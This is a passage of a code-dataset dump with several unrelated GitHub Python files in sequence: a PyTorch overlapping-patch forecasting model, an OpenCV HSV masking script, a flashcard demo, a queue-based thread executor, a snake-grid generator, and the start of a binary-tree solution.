finetune phase and don't have peroid symmetry. \n # \"\"\"\n # if self.input_is_full_image: \n # assert self.patch_range%2 ==1\n # B,W,H,P = self.input_shape_tmp\n # L = W + 2*(self.patch_range//2) #32\n # # counting_matrix[0]*=5\n # # counting_matrix[1]*=10\n # # counting_matrix[2]*=15\n # # counting_matrix[3]*=20\n # # counting_matrix[4:W]*=25\n # # counting_matrix[W]*=20\n # # counting_matrix[W+1]*=15\n # # counting_matrix[W+2]*=10\n # # counting_matrix[W+3]*=5\n # # w_idx = np.arange(0,L)\n # # self.wes = np.stack([w_idx, w_idx+1,w_idx+2, w_idx-1, w_idx-2],1)%L\n # # x_idx = np.arange(H)\n # # self.xes = np.stack([x_idx, x_idx+1,x_idx+2, x_idx-1, x_idx-2],1)%H\n # # self.yes = np.array([[2, 1, 0, 3, 4]])\n # if self.counting_matrix is None:\n # #counting_matrix = torch.ones(L,H)\n # #for i in range(self.patch_range-1):\n # # counting_matrix[i]*= self.patch_range*(i+1)\n # # counting_matrix[W+i]*= self.patch_range*(self.patch_range-i-1)\n # #counting_matrix[self.patch_range-1:W]*= self.patch_range*self.patch_range\n # #self.counting_matrix = counting_matrix.unsqueeze(0).unsqueeze(0) #(1,1,32,64)\n # self.counting_matrix = torch.nn.functional.conv2d(torch.ones(1,1,W,H + 2*(self.patch_range//2)),torch.ones(1,1,self.patch_range,self.patch_range),padding=(2*(self.patch_range//2),0),stride=1)\n \n # Delta = list(range(self.patch_range)) #[0,1,2,3,4]\n # self.yes = np.array([Delta])\n # Delta = -np.array(Delta) + self.patch_range//2 #-->[2,1,0,-1,-2]\n \n # w_idx = np.arange(L)\n # self.wes = np.stack([w_idx+d for d in Delta],1)%L\n # x_idx = np.arange(H)\n # self.xes = np.stack([x_idx+d for d in Delta],1)%H\n # #print(self.yes)\n # #print(Delta)\n # x = x.reshape(B,W,H,P,self.patch_range,self.patch_range)\n # x = torch.nn.functional.pad(x,(0,0, 0,0, 0,0, 0,0, self.patch_range//2 , self.patch_range//2 )) # only extend W \n # x = x[:, self.wes, :,:,self.yes,:].sum(1) #(B, W, H, P, PS,PS) --> (W, B, H, P, PS)\n # x = x[:, :, self.xes,:,self.yes].sum(1) #(W, B, H, P, PS) --> (H, W, B, P) \n # x = x.permute(2,3,1,0)#(B,P, W,H) \n # self.counting_matrix =self.counting_matrix.to(x.device)\n # x = x/self.counting_matrix #(B,P, W,H) / (1,1 , W,H)\n # return x\n \n def patches_to_image(self,x):\n if self.input_is_full_image: \n B,X0,X1,P = self.input_shape_tmp\n if X1 == self.img_size[-1]:\n x = self.patches_to_image_full(x)\n else:\n x = self.patches_to_image_adapt(x)\n return x\n \n def patches_to_image_adapt(self,x):\n # the goal is to recovery (LargeBatch,LargeBatch) from (LargeBatch - 2,LargeBatch -2, Patch_Size, Patch_Size)\n patch_range = self.patch_range if isinstance(self.patch_range,(list,tuple)) else (self.patch_range,self.patch_range)\n assert (patch_range[0]%2 ==1) and (patch_range[1]%2 ==1) \n B,X0,X1,P = self.input_shape_tmp\n # assume X2 is peroidic\n Y0 = X0+ 2*(patch_range[0]//2) #14\n Y1 = X1+ 2*(patch_range[1]//2) #32\n if (X0,X1) not in self.counting_matrixes:\n self.counting_matrixes[X0,X1] = torch.nn.functional.conv2d(\n torch.ones(1,1,X0,X1),\n torch.ones(1,1,*patch_range),\n padding=(2*(patch_range[0]//2),2*(patch_range[1]//2)),\n stride=1)\n self.yeses[X0,X1] = {}\n self.peses[X0,X1] = {}\n for idx, (p, Y) in enumerate(zip(patch_range,(Y0,Y1))):\n pes = np.arange(p)\n Delta= np.arange(p//2,-p//2,-1)\n yes = np.arange(Y)\n yes = np.stack([yes+d for d in Delta],1)%Y\n self.yeses[X0,X1][idx]=yes\n self.peses[X0,X1][idx]=pes\n\n counting_matrix =self.counting_matrixes[X0,X1].to(x.device)\n\n yes = self.yeses[X0,X1]\n pes = self.peses[X0,X1]\n x = x.reshape(B,X0,X1,P,*patch_range)\n x = torch.nn.functional.pad(x,(\n 0,0, 0,0, 0,0, \n patch_range[-1]//2 , patch_range[-1]//2,\n patch_range[-2]//2 , patch_range[-2]//2,\n )) #(B, X0, X1, P, p0,p1) --> (B, Y0, Y1, P, p0,p1)\n\n x = x[:, yes[0], :, :, pes[0],:].sum(1) # (B, Y0, Y1, P, p0,p1)--> (Y0, B, Y1, P, p1)\n x = x[:, :, yes[1], :, pes[1], ].sum(1) # (Y0, B, Y1, P, p1)--> (Y1, Y0, B, P)\n x = x.permute(2,3,1,0)#(B,P, W,H) \n x = x/counting_matrix #(B,P, W,H) / (1,1 , W,H)\n return x\n\n def patches_to_image_full(self,x):\n # the goal is to recovery (LargeBatch,LargeBatch) from (LargeBatch - 2,LargeBatch -2, Patch_Size, Patch_Size)\n patch_range = self.patch_range if isinstance(self.patch_range,(list,tuple)) else (self.patch_range,self.patch_range)\n assert (patch_range[0]%2 ==1) and (patch_range[1]%2 ==1) \n B,X0,X1,P = self.input_shape_tmp\n # assume X2 is peroidic\n Y0 = X0 + 2*(patch_range[0]//2) #14\n Y1 = X1 #32\n assert Y1 == self.img_size[-1]\n if (Y0,Y1) not in self.counting_matrixes:\n self.counting_matrixes[Y0,Y1] = torch.nn.functional.conv2d(\n torch.ones(1,1,X0,X1+2*(patch_range[1]//2)),\n torch.ones(1,1,*patch_range),\n padding=(2*(patch_range[0]//2),0),\n stride=1)\n\n self.yeses[Y0,Y1] = {}\n self.peses[Y0,Y1] = {}\n for idx, (p, Y) in enumerate(zip(patch_range,(Y0,Y1))):\n pes = np.arange(p)\n Delta= np.arange(p//2,-p//2,-1)\n yes = np.arange(Y)\n yes = np.stack([yes+d for d in Delta],1)%Y\n self.yeses[Y0,Y1][idx]=yes\n self.peses[Y0,Y1][idx]=pes\n\n counting_matrix =self.counting_matrixes[Y0,Y1].to(x.device)\n\n yes = self.yeses[Y0,Y1]\n pes = self.peses[Y0,Y1]\n x = x.reshape(B,X0,X1,-1,*patch_range)\n x = torch.nn.functional.pad(x,(\n 0,0, 0,0, 0,0, 0, 0,\n patch_range[-2]//2 , patch_range[-2]//2,\n )) #(B, X0, X1, P, p0,p1) --> (B, Y0, Y1, P, p0,p1)\n\n x = x[:, yes[0], :, :, pes[0],:].sum(1) # (B, Y0, Y1, P, p0,p1)--> (Y0, B, Y1, P, p1)\n x = x[:, :, yes[1], :, pes[1], ].sum(1) # (Y0, B, Y1, P, p1)--> (Y1, Y0, B, P)\n x = x.permute(2,3,1,0)#(B,P, W,H) \n x = x/counting_matrix #(B,P, W,H) / (1,1 , W,H)\n return x\n\n def patches_to_image_slow(self,x):\n if self.input_is_full_image: \n B,W,H,P = self.input_shape_tmp\n # (28, 32)\n x = x.reshape(B,W,H,P,self.patch_range,self.patch_range)\n assert self.patch_range==5\n assert not self.training\n \n x_idx = np.arange(H)\n xes = np.stack([x_idx, x_idx+1,x_idx+2, x_idx-1, x_idx-2],1)%H\n yes = np.array([[2, 1, 0, 3, 4]])\n lines = []\n end = W + 4 \n for line_id in range(end): #(0 --> 32)\n line = 0\n if line_id < 4:\n for w_id in range(line_id+1):\n line += x[:, w_id, xes,:, line_id - w_id,yes].mean(1) #(H,B,P)\n line = line/(line_id + 1)\n line = line.permute(1,2,0).unsqueeze(2)#(B,P,1,H) \n elif line_id > end - 5:\n for w_id in range(line_id - end, 0): #(-3,-2,-1)\n line += x[:, w_id, xes,:, line_id - end -1 - w_id,yes].mean(1)#(H,B,P) \n line = line/(end - line_id)\n line = line.permute(1,2,0).unsqueeze(2)#(B,P,1,H) \n elif line_id == 4:\n w_idx = np.arange(2,W-2)\n wes = np.stack([w_idx, w_idx+1,w_idx+2, w_idx-1, w_idx-2],1)\n line = x[:, wes, :,:,yes,:].mean(1) #(4,B, H, P, PS)\n line = line[:, :, xes,:,yes].mean(1)#(H,B,P) \n line = line.permute(2,3,1,0)\n else:\n continue\n lines.append(line)\n x = torch.cat(lines,2)\n\n return x\n\nclass POverLapTimePosBias2D(AutoPatchOverLapModel2D):\n '''\n input is (B, P, patch_range_1,patch_range_2) tensor\n (B, 4) time_stamp\n (B, 2, patch_range_1,patch_range_2) pos_stamp\n output is (B,P, patch_range_1,patch_range_2)\n '''\n global_position_feature = None\n\n def get_direction_from_stamp(self,stamp):\n w_pos_x = stamp[:,0]/32*np.pi\n h_pos_x = stamp[:,1]/64*2*np.pi\n x_direction = torch.stack([torch.cos(w_pos_x),\n torch.sin(w_pos_x)*torch.cos(h_pos_x),\n torch.cos(w_pos_x)*torch.sin(h_pos_x)],1) # (B, 3 ,patch_range_1,patch_range_2)\n return x_direction\n\n def image_to_patches(self, x,time_stamp , pos_stamp):\n assert len(x.shape)==4\n self.input_is_full_image = False\n good_input_shape = (self.patch_range,self.patch_range)\n now_input_shape = tuple(x.shape[-2:])\n if now_input_shape!= good_input_shape:\n self.input_is_full_image = True\n around_index = self.around_index_depend_input(now_input_shape)\n if self.global_position_feature is None:\n grid = torch.Tensor(np.stack(np.meshgrid(np.arange(self.img_size[0]),np.arange(self.img_size[1]))).transpose(0,2,1)) #(2, 32, 64)\n self.global_position_feature = self.get_direction_from_stamp(grid[None]) #(1, 3, W, H)\n if torch.all(pos_stamp==-1):\n pos_feature = self.global_position_feature.repeat(x.size(0),1,1,1).to(x.device) #(B, 3, W, H)\n else:\n pos_feature = self.get_direction_from_stamp(pos_stamp)\n B, T = time_stamp.shape\n time_feature= time_stamp.reshape(B,T,1,1).repeat(1,1,*x.shape[-2:])#(B, 4, W, H)\n B,P,_,_ = x.shape\n x = torch.cat([x,pos_feature,time_feature],1) #( B, 77, W, H)\n x = x[...,around_index[:,:,0],around_index[:,:,1]] # (B,P,W-4,H,Patch,Patch)\n x = x.permute(0,2,3,1,4,5)\n _,W,H,_,_,_ = x.shape\n self.input_shape_tmp=(B,W,H,P)\n x = x.flatten(0,2) # (B* W-4 * H,P, Patch,Patch)\n else:\n pos_feature = self.get_direction_from_stamp(pos_stamp)\n B, T = time_stamp.shape\n time_feature= time_stamp.reshape(B,T,1,1).repeat(1,1,self.patch_range,self.patch_range)\n x = torch.cat([x,pos_feature,time_feature],1) #( B, 77, Patch, Patch)\n now_input_shape = tuple(x.shape[-2:])\n assert now_input_shape == good_input_shape\n \n return x\n\nclass PatchOverLapWrapper(AutoPatchOverLapModel2D):\n '''\n input is (B, P, patch_range_1,patch_range_2)\n output is (B,P, patch_range_1,patch_range_2)\n '''\n\n def __init__(self, args, backbone):\n patch_range = 5 if args is None else args.patch_range\n super().__init__((32,64),patch_range)\n self.backbone = backbone\n self.monitor = True\n self.img_size = (32, 64)\n self.patch_range = patch_range\n \n def forward(self, x):\n '''\n The input either (B,P,patch_range,patch_range) or (B,P,w,h)\n The output then is (B,P) or (B,P,w-patch_range//2,h-patch_range//2)\n '''\n x = self.image_to_patches(x)\n x = self.backbone(x)\n x = self.patches_to_image(x)\n return x\n\n\n\n\nclass POverLapTimePosBiasWrapper(POverLapTimePosBias2D):\n def __init__(self, args, backbone):\n patch_range = 5 if args is None else args.patch_range\n super().__init__((32,64),patch_range)\n self.backbone = backbone\n self.monitor = True\n self.img_size = (32, 64)\n self.patch_range = patch_range\n def forward(self, x, time_stamp=None, pos_stamp=None ):\n '''\n The input either (B,P,patch_range,patch_range) or (B,P,w,h)\n The output then is (B,P) or (B,P,w-patch_range//2,h-patch_range//2)\n '''\n if len(x.shape)==2 and time_stamp is None and pos_stamp is None:\n xshape = (70,self.patch_range,self.patch_range)\n tshape = (4,)\n pshape = (2,self.patch_range,self.patch_range)\n a = np.prod(xshape)\n b = np.prod(tshape)\n c = np.prod(pshape) \n time_stamp = x[:,a:a+b].reshape(-1,*tshape)\n pos_stamp = x[:,a+b:a+b+c].reshape(-1,*pshape)\n x = x[:,0:a].reshape(-1,*xshape)\n x = self.image_to_patches(x,time_stamp,pos_stamp)\n x = self.backbone(x)\n #print(x.shape)\n x = self.patches_to_image(x)\n return x\n\nclass POverLapTimePosFEDformer(POverLapTimePosBias2D):\n '''\n input is (B, P, patch_range_1,patch_range_2) tensor\n (B, 2, patch_range_1,patch_range_2) pos_stamp\n (B, 4) start_time_stamp\n (B, 4) end_time_stamp\n output is (B,P, patch_range_1,patch_range_2)\n '''\n def __init__(self, img_size=None,patch_range=5,in_chans=73, out_chans=70,**kargs):\n super().__init__(img_size,patch_range)\n self.in_chans=in_chans\n self.out_chans=out_chans\n self.patch_range = patch_range\n self._build_backbone(img_size=img_size,patch_range=patch_range,in_chans=in_chans, out_chans=out_chans,**kargs)\n\n def _build_backbone(self,img_size=None,patch_range=5,in_chans=73, out_chans=70,**kargs):\n self.backbone = FEDformer(img_size=(patch_range,patch_range), in_chans=in_chans,out_chans=out_chans, \n embed_dim=kargs.get('embed_dim',748), \n modes=kargs.get('modes',(4,4,6)), \n n_heads=kargs.get('n_heads', 24),\n depth=kargs.get('model_depth',4),\n history_length=kargs.get('history_length',16),\n pred_len=kargs.get('pred_len',4),\n label_len=kargs.get('label_len',4),share_memory=kargs.get('share_memory',1))\n\n def image_to_patches(self, x,pos_stamp,start_time_stamp,end_time_stamp):\n assert len(x.shape)==5 #(B, T, P, W, H)\n Batch_size, Time_length = x.shape[:2]\n x = x.flatten(0,1)\n\n self.input_is_full_image = False\n good_input_shape = (self.patch_range,self.patch_range)\n now_input_shape = tuple(x.shape[-2:])\n if now_input_shape!= good_input_shape:\n self.input_is_full_image = True\n around_index = self.around_index_depend_input(now_input_shape)\n if self.global_position_feature is None:\n grid = torch.Tensor(np.stack(np.meshgrid(np.arange(self.img_size[0]),np.arange(self.img_size[1]))).transpose(0,2,1)) #(2, 32, 64)\n self.global_position_feature = self.get_direction_from_stamp(grid[None]) #(1, 3, W, H)\n pos_feature = self.global_position_feature.repeat(x.size(0),1,1,1).to(x.device) #(B, 3, W, H)\n B,P,_,_ = x.shape\n \n x = torch.cat([x,pos_feature],1) #( B, 77, W, H)\n x = x[...,around_index[:,:,0],around_index[:,:,1]] # (B,P,W-4,H,Patch,Patch)\n x = x.permute(0,2,3,1,4,5)\n _,W,H,PP,_,_ = x.shape\n output_batch = np.prod(end_time_stamp.shape[:2])\n self.input_shape_tmp=(output_batch,W,H,P)\n start_time_stamp = start_time_stamp.unsqueeze(1).unsqueeze(1).repeat(1,W,H,1,1).flatten(0,2)\n end_time_stamp = end_time_stamp.unsqueeze(1).unsqueeze(1).repeat(1,W,H,1,1).flatten(0,2)\n \n x = x.flatten(0,2) # (B* W-4 * H,P, Patch,Patch)\n else:\n pos_stamp = pos_stamp.flatten(0,1)\n pos_feature = self.get_direction_from_stamp(pos_stamp) # ( B, T, 73, Patch, Patch)\n x = torch.cat([x,pos_feature],1) #( B, T, 73, Patch, Patch)\n now_input_shape = tuple(x.shape[-2:])\n assert now_input_shape == good_input_shape\n x = x.reshape(-1, Time_length, *x.shape[1:])\n return x,start_time_stamp,end_time_stamp\n\n def forward(self, x, pos_stamp, start_time_stamp, end_time_stamp ):\n '''\n The input either (B,P,patch_range,patch_range) or (B,P,w,h)\n The output then is (B,P) or (B,P,w-patch_range//2,h-patch_range//2)\n '''\n #print(x.shape)\n shape = x.shape\n x,start_time_stamp,end_time_stamp = self.image_to_patches(x,pos_stamp,start_time_stamp,end_time_stamp)\n x = rearrange(x,'b t c w h -> b w h t c')\n TheMinBatch=1024\n if len(x) > TheMinBatch: #(B, LargeP, P, p0, p1, p2)\n assert not self.training\n x = torch.cat([self.backbone(t1,t2,t3) for t1,t2,t3 in zip(torch.split(x,TheMinBatch),torch.split(start_time_stamp,TheMinBatch),torch.split(end_time_stamp,TheMinBatch))])\n else: \n x = self.backbone(x,start_time_stamp, end_time_stamp)\n \n x = rearrange(x,'b w h t c -> b t c w h')\n x = x.flatten(0,1)\n x = self.patches_to_image(x)\n x = x.reshape(shape[0],-1,*shape[2:])\n return x\n\nclass POverLapTimePosInformer(POverLapTimePosFEDformer):\n '''\n input is (B, P, patch_range_1,patch_range_2) tensor\n (B, 2, patch_range_1,patch_range_2) pos_stamp\n (B, 4) start_time_stamp\n (B, 4) end_time_stamp\n output is (B,P, patch_range_1,patch_range_2)\n '''\n def _build_backbone(self,img_size=None,patch_range=5,in_chans=73, out_chans=70,**kargs):\n self.backbone = Informer(img_size=(patch_range,patch_range), in_chans=in_chans,out_chans=out_chans, \n embed_dim=kargs.get('embed_dim',748), \n modes=kargs.get('modes',(4,4,6)), \n n_heads=kargs.get('n_heads', 24),\n depth=kargs.get('model_depth',4),\n history_length=kargs.get('history_length',16),\n pred_len=kargs.get('pred_len',4),\n label_len=kargs.get('label_len',4))\n\n\nclass LargeMLP(AutoPatchModel2D):\n '''\n input is (B, P, patch_range_1,patch_range_2)\n output is (B,P)\n '''\n\n def __init__(self, img_size=None, patch_range=5, in_chans=20, out_chans=20, p=0.1, **kargs):\n super().__init__(img_size, patch_range)\n if self.patch_range == 5:\n cl = [5*5*in_chans, 5*5*100, 5*5*100, 5*5*100, 5*5*100, 5*5*100, 5*5*70, 5*5*70, 5*5*70, out_chans]\n nnlist = []\n for i in range(len(cl)-2):\n nnlist += [nn.Linear(cl[i], cl[i+1]),nn.Dropout(p=p), nn.Tanh()]\n nnlist += [nn.Linear(cl[-2], cl[-1])]\n self.backbone = nn.Sequential(*nnlist)\n else:\n raise NotImplementedError\n\n def forward(self, x):\n '''\n The input either (B,P,patch_range,patch_range) or (B,P,w,h)\n The output then is (B,P) or (B,P,w-patch_range//2,h-patch_range//2)\n '''\n x = self.image_to_patches(x)\n x = self.backbone(x.flatten(-3, -1)) # (B* W-4 * H,P)\n x = self.patches_to_image(x)\n return x\n\nclass SimpleViT(AutoPatchModel2D):\n def __init__(self,img_size=None,patch_range=5,in_chans=20, out_chans=20,p=0.1,**kargs):\n super().__init__(img_size,patch_range)\n self.backbone = ViT(image_size = (patch_range,patch_range),\n patch_size = 1,\n num_classes = 70,\n dim = 1024,\n depth = 7,\n heads = 16,\n mlp_dim = 768,\n channels= 70,\n dropout = 0.1,\n emb_dropout = 0.1\n )\n\n def forward(self, x):\n '''\n The input either (B,P,patch_range,patch_range) or (B,P,w,h)\n The output then is (B,P) or (B,P,w-patch_range//2,h-patch_range//2)\n ''' \n x = self.image_to_patches(x)\n x = self.backbone(x)\n x = self.patches_to_image(x)\n return x\n\nclass OverLapLargeViT(POverLapTimePosBiasWrapper):\n def __init__(self,img_size=None,patch_range=5,in_chans=77, out_chans=70,p=0.1,**kargs):\n super().__init__(None,None)\n self.in_chans=in_chans\n self.out_chans=out_chans\n self.backbone = ViT(image_size = (patch_range,patch_range),\n patch_size = 1,\n num_classes = self.out_chans,\n dim = 2024,\n depth = 16,\n heads = 6,\n mlp_dim = 768,\n channels= self.in_chans,\n dropout = 0.1,\n emb_dropout = 0.1\n )\n\n def forward(self, x, time_stamp, pos_stamp ):\n '''\n The input either (B,P,patch_range,patch_range) or (B,P,w,h)\n The output then is (B,P) or (B,P,w-patch_range//2,h-patch_range//2)\n '''\n #print(x.shape)\n x = self.image_to_patches(x,time_stamp,pos_stamp)\n x = self.backbone.to_patch_embedding(x)\n b, n, _ = x.shape\n cls_tokens = repeat(self.backbone.cls_token, '1 1 d -> b 1 d', b = b)\n x = torch.cat((cls_tokens, x), dim=1)\n x += self.backbone.pos_embedding[:, :(n + 1)]\n x = self.backbone.dropout(x)\n x = self.backbone.transformer(x)[:,:-1] #(B, 25, dim)\n x = self.backbone.mlp_head(x)#(B, 25, 70)\n x = x.permute(0,2,1).reshape(-1,self.out_chans,self.patch_range,self.patch_range) #(B,70,5,5)\n x = self.patches_to_image(x)\n return x\n\nclass PatchWrapper(AutoPatchModel2D):\n '''\n input is (B, P, patch_range_1,patch_range_2)\n output is (B,P)\n '''\n\n def __init__(self, args, backbone):\n super().__init__(args.img_size,5)\n self.backbone = backbone\n self.monitor = True\n self.img_size = (32, 64)\n self.patch_range = 5\n self.mlp = nn.Sequential(nn.Tanh(), nn.Linear(args.output_channel*self.patch_range**2, args.output_channel))\n\n def forward(self, x):\n '''\n The input either (B,P,patch_range,patch_range) or (B,P,w,h)\n The output then is (B,P) or (B,P,w-patch_range//2,h-patch_range//2)\n '''\n x = self.image_to_patches(x)\n x = self.backbone(x)\n x = self.mlp(x.reshape(x.size(0), -1))\n x = self.patches_to_image(x)\n return x\n","repo_name":"veya2ztn/Seq2SeqAutoregressiveModel","sub_path":"model/PatchWiseModel/patch_model_2D.py","file_name":"patch_model_2D.py","file_ext":"py","file_size_in_byte":33244,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"75364557159","text":"import cv2\nimport matplotlib.pyplot as plt\n\ndef hex2hsv(color):\n r = int(color[:2], 16)\n g = int(color[2:4], 16)\n b = int(color[-2:], 16)\n h = 0\n r, g, b = r/255.0, g/255.0, b/255.0\n mx = max(r, g, b)\n mn = min(r, g, b)\n df = mx-mn\n if mx == mn:\n h = 0\n elif mx == r:\n h = (60 * ((g-b)/df) + 360) % 360\n elif mx == g:\n h = (60 * ((b-r)/df) + 120) % 360\n elif mx == b:\n h = (60 * ((r-g)/df) + 240) % 360\n if mx == 0:\n s = 0\n else:\n s = df/mx\n v = mx\n h, s, v=int(h), int(s*255), int(v*255)\n print(\"hue:%d saturation:%d value:%d\" %(h,s,v))\n return h, s, v\n\n\nimg = cv2.imread('mb6.png')\nblur = cv2.blur(img,(5,5))\nblur0=cv2.medianBlur(blur,5)\nblur1= cv2.GaussianBlur(blur0,(5,5),0)\nblur2= cv2.bilateralFilter(blur1,9,75,75)\nimg = cv2.cvtColor(blur0, cv2.COLOR_BGR2RGB)\nhsv_img = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\n# 主板\n# lower1 = (50,40,70)\n# upper1 = (120,160,145)\n\nlower1 = (20,40,40)\nupper1 = (120,190,145)\n\n\nlower2 = (0,0,0)\nupper2 = (175,255,50)\n\n# lower3 = (50,60,20)\n# upper3 = (86,160,130)\n\n# # 机箱\n# lower1 = (20,20,50)\n# upper1 = (70,40,140)\n#\n# lower2 = (0,0,70)\n# upper2 = (80,35,160)\n\n\nmask1 = cv2.inRange(hsv_img, lower1, upper1)\nmask2 = cv2.inRange(hsv_img, lower2, upper2)\n# mask3 = cv2.inRange(hsv_img, lower3, upper3)\nmask = mask1 #+ mask2 #- mask3\n\nresult = cv2.bitwise_and(img, img, mask=mask)\n\nplt.subplot(221)\nplt.imshow(mask1,cmap=\"gray\")\nplt.subplot(222)\nplt.imshow(mask2,cmap=\"gray\")\nplt.subplot(223)\nplt.imshow(mask,cmap=\"gray\")\nplt.subplot(224)\nplt.imshow(result)\nplt.show()\n\ncv2.imwrite(\"output.png\", mask)","repo_name":"aweihao/A10","sub_path":"deeplearn/opencv/hsv.py","file_name":"hsv.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26251070127","text":"from _deck import Deck\nfrom _deckreview import DeckReview\n\n\nif __name__ == '__main__':\n from flashcardapp import fetch_demo_cards\n\n deck = Deck(\"Test1\")\n \n for card in fetch_demo_cards():\n deck.add_card(card)\n \n for card in deck.cards:\n print(card)\n \n print(\"\\n\\nLet us now review a deck of cards\\n\\n\")\n \n review = DeckReview(deck)\n\n print(review.current_card)\n for index in range(10):\n print(review.next_card)\n \n \n print(\"\\n\\nLet us now review a deck of cards (in reverse)\\n\\n\")\n \n review = DeckReview(deck)\n\n print(review.current_card)\n for index in range(10):\n print(review.previous_card)\n","repo_name":"satishgoda/adaofsw","sub_path":"tutorials/flashcard/app/py/flashcardapp/deck/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40865705626","text":"from queue import Queue, Empty\nfrom threading import Thread\nfrom timeit import default_timer as timer\nfrom typing import Callable\n\nfrom multithreading_experiment.cpu_gil_release import cpu_without_gil\nfrom multithreading_experiment.download_site import prepare_directory\n\n\ndef worker(queue: Queue, ):\n def _worker():\n while True:\n try:\n func = queue.get_nowait()\n func()\n queue.task_done()\n except Empty:\n break\n\n return _worker\n\n\nclass QueueBasedExecutor:\n\n def __init__(self, max_threads=0):\n self.max_threads = max_threads\n\n def do(self, what: Callable[[], None], count: int):\n queue = Queue(count)\n threads_total = self.max_threads if self.max_threads != 0 else count\n\n for i in range(0, count):\n queue.put(what)\n\n threads = []\n for i in range(0, threads_total):\n thread = Thread(target=worker(queue))\n thread.start()\n threads.append(thread)\n\n queue.join()\n\n for t in threads:\n t.join()\n\n\nif __name__ == \"__main__\":\n prepare_directory()\n start = timer()\n # QueueBasedExecutor(max_threads=0).do(url_get, 20)\n # QueueBasedExecutor(max_threads=0).do(use_cpu(1000000), 20)\n QueueBasedExecutor(max_threads=0).do(cpu_without_gil, 20)\n end = timer()\n print(end - start)\n","repo_name":"gmiejski/python_http","sub_path":"multithreading_experiment/2_queue_threaded.py","file_name":"2_queue_threaded.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10131358112","text":"\"\"\"\nThis module manages the generation of snake grid on which pcv operates.\n\nIt is intended to be maximally flexible by taking in simple parameters to\nachieve various grid configurations for downstream experimentation.\n\"\"\"\nimport numpy as np\n\n\nclass Snake():\n def __init__(self):\n pass\n\n @staticmethod\n def flesh_out_grid_spec(raw_spec):\n \"\"\"\n Args:\n raw_spec: [N, 2] each row (size, num_rounds)\n \"\"\"\n if not isinstance(raw_spec, np.ndarray):\n raw_spec = np.array(raw_spec)\n shape = raw_spec.shape\n assert len(shape) == 2 and shape[0] > 0 and shape[1] == 2\n size = raw_spec[0][0]\n trail = [ np.array([0, 0, (size - 1) // 2]).reshape(1, -1), ]\n field_diam = size\n for size, num_rounds in raw_spec:\n for _ in range(num_rounds):\n field_diam, _round_trail = Snake.ring_walk(field_diam, size)\n trail.append(_round_trail)\n trail = np.concatenate(trail, axis=0)\n return field_diam, trail\n\n @staticmethod\n def ring_walk(field_diam, body_diam):\n assert body_diam > 0 and body_diam % 2 == 1\n body_radius = (body_diam - 1) // 2\n\n assert field_diam > 0 and field_diam % 2 == 1\n field_radius = (field_diam - 1) // 2\n\n assert field_diam % body_diam == 0\n\n ext_diam = field_diam + 2 * body_diam\n ext_radius = field_radius + body_diam\n assert ext_diam == ext_radius * 2 + 1\n\n j = 1 + field_radius + body_radius\n # each of the corner coord is the offset from field center\n # anticlockwise SE -> NE -> NW -> SW ->\n corner_centers = np.array([(+j, +j), (-j, +j), (-j, -j), (+j, -j)])\n directs = np.array([(-1, 0), (0, -1), (+1, 0), (0, +1)])\n trail = []\n num_tiles = ext_diam // body_diam\n for corn, dirc in zip(corner_centers, directs):\n segment = [corn + i * dirc * body_diam for i in range(num_tiles - 1)]\n trail.extend(segment)\n trail = np.array(trail) # [N, 2] each row is a center-based offset\n sizes = np.array([body_radius] * len(trail)).reshape(-1, 1)\n trail = np.concatenate([trail, sizes], axis=1)\n return ext_diam, trail # [N, 3]: (offset_y, offset_x, radius)\n\n @staticmethod\n def paint_trail_mask(field_diam, trail, tiling=True):\n \"\"\"\n Args:\n trail: [N, 3] each row (offset_y, offset_x, radius)\n \"\"\"\n assert field_diam > 0 and field_diam % 2 == 1\n field_radius = (field_diam - 1) // 2\n CEN = np.array((field_radius, field_radius))\n trail = trail.copy()\n trail[:, :2] += CEN\n canvas = -1 * np.ones((field_diam, field_diam), dtype=int)\n for i, walk in enumerate(trail):\n y, x, r = walk\n if tiling:\n y, x = y - r, x - r\n d = 2 * r + 1\n canvas[y: y + d, x: x + d] = i\n else:\n canvas[y, x] = i\n return canvas\n\n @staticmethod\n def paint_bound_ignore_trail_mask(field_diam, trail):\n \"\"\"\n Args:\n trail: [N, 3] each row (offset_y, offset_x, radius)\n \"\"\"\n assert field_diam > 0 and field_diam % 2 == 1\n field_radius = (field_diam - 1) // 2\n CEN = np.array((field_radius, field_radius))\n trail = trail.copy()\n trail[:, :2] += CEN\n canvas = -1 * np.ones((field_diam, field_diam), dtype=int)\n for i, walk in enumerate(trail):\n y, x, r = walk\n d = 2 * r + 1\n boundary_ignore = int(d * 0.12)\n # if d > 1: # at least cut 1 unless the grid is of size 1\n # boundary_ignore = max(boundary_ignore, 1)\n y, x = y - r + boundary_ignore, x - r + boundary_ignore\n d = d - 2 * boundary_ignore\n canvas[y: y + d, x: x + d] = i\n return canvas\n\n @staticmethod\n def vote_channel_splits(raw_spec):\n splits = []\n acc_size = raw_spec[0][0] # inner most size\n for i, (size, num_rounds) in enumerate(raw_spec):\n inner_blocks = acc_size // size\n total_blocks = inner_blocks + 2 * num_rounds\n acc_size += 2 * num_rounds * size\n prepend = (i == 0)\n num_chnls = (total_blocks ** 2 - inner_blocks ** 2) + int(prepend)\n splits.append(num_chnls)\n return splits\n\n\nif __name__ == '__main__':\n sample_spec = np.array([\n # (size, num_rounds)\n (1, 1),\n (3, 1),\n (9, 1)\n ])\n s = Snake()\n diam, trail = s.flesh_out_grid_spec(sample_spec)\n mask = s.paint_trail_mask(diam, trail, tiling=True)\n print(mask.shape)\n","repo_name":"w-hc/pcv","sub_path":"src/pcv/components/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"18"} +{"seq_id":"29333239776","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution(object):\n def __init__(self):\n self._tilt = 0\n\n def findTilt(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: 